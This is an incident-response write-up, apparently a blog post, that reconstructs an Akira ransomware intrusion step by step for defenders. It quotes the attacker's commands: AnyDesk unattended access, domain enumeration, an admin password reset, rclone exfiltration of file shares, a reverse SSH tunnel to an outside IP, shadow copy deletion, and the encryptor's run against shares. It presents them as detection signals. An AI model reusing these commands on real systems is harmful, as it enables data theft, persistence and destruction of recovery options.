← Back to list

akira_readme.txt

By the Time You See Encryption, It’s Already Over

phas3P4rad0x · 2026-03-22 16:41 · 0 claps · 4.2 min read
#ransomware #akira #threat-hunting #incident-response #soc
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

akira_readme.txt

By the Time You See Encryption, It’s Already Over

Reconstructing a Full-Chain Ransomware Intrusion (Akira)

The encryption alert did not mark the start of the attack — it marked the end.

This investigation began under a significant constraint: there were no endpoint detection or logging agents deployed on the affected systems.

When a third-party vendor alerted suspicious file encryption activity on a critical server, there was no deep visibility into endpoint behavior. The investigation had to rely entirely on the limited set of logs that remained available.

And yet, even with that visibility gap, a clear picture emerged.

By the time file encryption was detected on a critical server, the attacker had already:

  • Established persistent remote access
  • Reset domain admin credentials
  • Exfiltrated sensitive financial data
  • Deployed multiple backdoors

What looked like a single alert was actually the final stage of a fully executed intrusion chain.

This writeup reconstructs that chain from limited telemetry and shows a hard truth defenders continue to face in 2026:

encryption is not the attack — it’s the conclusion.

Early activity blended into normal domain operations.

Repeated executions of a NETLOGON login script were observed across multiple compromised domain admin accounts:

userinit.exe → cmd.exe → \\NETLOGON\login.bat → net.exe

The script performed standard drive mapping operations using net use, which is expected behavior in many enterprise environments.

On its own, this activity is benign.

However, the key concern lies in the context: these executions were associated with multiple compromised privileged accounts, indicating that those accounts were actively being used within the environment during the intrusion.

Several artifacts strongly indicate interactive attacker activity, not automation:

  • Tools deployed via explorer.exe
  • Manual installation of software (AnyDesk, OpenSSH)
  • Direct execution of reconnaissance commands

This wasn’t a spray-and-pray attack. It was a hands-on-keyboard intrusion, with an operator actively navigating the environment.

The attacker introduced remote access using AnyDesk:

AnyDesk.exe - service
  • Configured for unattended access:
AnyDesk.exe - admin-settings:security:set-password

This allowed:

  • Persistent remote control
  • Access without user interaction
  • Re-entry even if the initial access vector was removed

This is a common tactic: bring your own remote access tool and make it legitimate.

The attacker then began mapping the domain:

nltest /dclist
nltest /domain_trusts

Followed by a critical action:

net user <redacted_domain_admin> Passw0rd123!

This confirms:

  • Control over a privileged account
  • Ability to manipulate identity infrastructure
  • Expansion of access across the domain

At this point, the environment was effectively owned.

Two key tools were introduced:

1. rclone (Data Exfiltration Tool)

  • Dropped in: C:\ProgramData\rclone.exe
  • Not native to Windows
  • Commonly used in data theft operations

2. OpenSSH (Persistence & Tunneling)

  • Installed via MSI:
msiexec.exe /i OpenSSH-Win64-v9.5.0.0.msi

The use of ProgramData as a staging location is notable, it’s writable, low-profile, and frequently abused.

The attacker executed:

rclone copy "\\<redacted_host>\D$" us3:/home/DATA/...

With filters including:

*.txt, *.pdf, *.xls, *.doc, *.csv, *.xlsx, *.docx, *.qbw

Key observations:

  • Access to administrative shares (D$, E$)
  • Selective targeting of document and financial file types
  • Inclusion of .qbw (QuickBooks databases)

This was not opportunistic exfiltration. It was targeted financial data theft, likely for double extortion.

Outbound connections to 172.96.139.146:22 further confirm external data transfer.

A key persistence mechanism observed during the intrusion was the use of a reverse SSH tunnel:

ssh -p22 root@<170.130.55.117> -R 5556

This establishes a reverse SSH tunnel, allowing external access into the internal network over an outbound connection.

Unlike traditional remote access methods, this technique enables the attacker to maintain access without exposing inbound services.

Why this matters:

  • Provides persistent remote access independent of initial entry points
  • Allows re-entry even if credentials are reset or access paths are removed
  • Blends with legitimate SSH traffic, making detection more difficult

Additionally, the following process was observed:

ssh-agent.exe (running as SYSTEM)

This suggests:

  • Credential material can be cached locally
  • Access can persist beyond user sessions
  • The SSH-based access channel can remain active even after logoff

This is not a new technique.

Reverse SSH tunneling has been used for years in both administrative and offensive contexts. However, its continued effectiveness lies in its simplicity leveraging trusted protocols and outbound communication paths that are rarely restricted or closely monitored.

In this case, it functioned as a resilient backdoor, ensuring the attacker retained access to the environment regardless of other remediation efforts.

Before encryption, the attacker executed (as expected, lollll):

powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject"

This removes all Volume Shadow Copies.

Impact:

  • Prevents file restoration
  • Eliminates a primary recovery mechanism
  • Signals imminent destructive activity

This step is a classic pre-ransomware indicator.

Final Stage: Akira Ransomware Deployment. The payload:

C:\ProgramData\win.exe

Executed repeatedly against network shares:

win.exe -n=1 -p="\\<host>\<share>"

This behavior aligns with the Akira ransomware encryptor.

Observed impact:

  • Files renamed to hashed values with .arika extension
  • Widespread encryption across local and network drives
  • Ransom notes (akira_readme.txt) dropped across:
  • Archive directories
  • User profiles
  • Application paths

By this point:

  • Data was already stolen
  • Access was already persistent
  • Recovery options were already removed

Encryption was simply the final step.

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

The most significant gap in this case was not the attacker’s sophistication — it was the lack of endpoint visibility.

No endpoint detection or logging agents were present on the affected systems. As a result:

  • Process execution history was limited
  • Command-line visibility was incomplete
  • Early-stage attacker activity went largely unobserved

The attack was not invisible. It was simply not being logged.

This intrusion presented multiple chances for early detection:

  • AnyDesk installation with unattended access
  • rclone execution from ProgramData
  • Domain enumeration via nltest
  • Unauthorized password reset of admin accounts
  • Outbound SSH to external infrastructure
  • Shadow copy deletion via WMI

Each of these events is high signal. Together, they form a clear attack narrative — before encryption ever begins.

Why This Still Works in 2026

Many of the techniques observed in this intrusion are publicly documented by the https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a.

These include:

  • Use of legitimate remote access tools
  • Data exfiltration via rclone
  • Shadow copy deletion
  • SSH-based persistence
  • Encryption via win.exe

And yet — they remain effective.

Why?

  • They rely on legitimate or dual-use tools
  • They blend into administrative activity
  • Detection often focuses too late in the attack lifecycle

Known techniques are still defeating modern environments.


메타데이터
post_id
b33169ec9fc2
slug
akira-readme-txt-b33169ec9fc2
url
https://medium.com/@lxaignacio17/akira-readme-txt-b33169ec9fc2
canonical_url
https://medium.com/@lxaignacio17/akira-readme-txt-b33169ec9fc2
author_url
https://medium.com/@lxaignacio17
status
ok
fetched_at
2026-06-22 12:55:45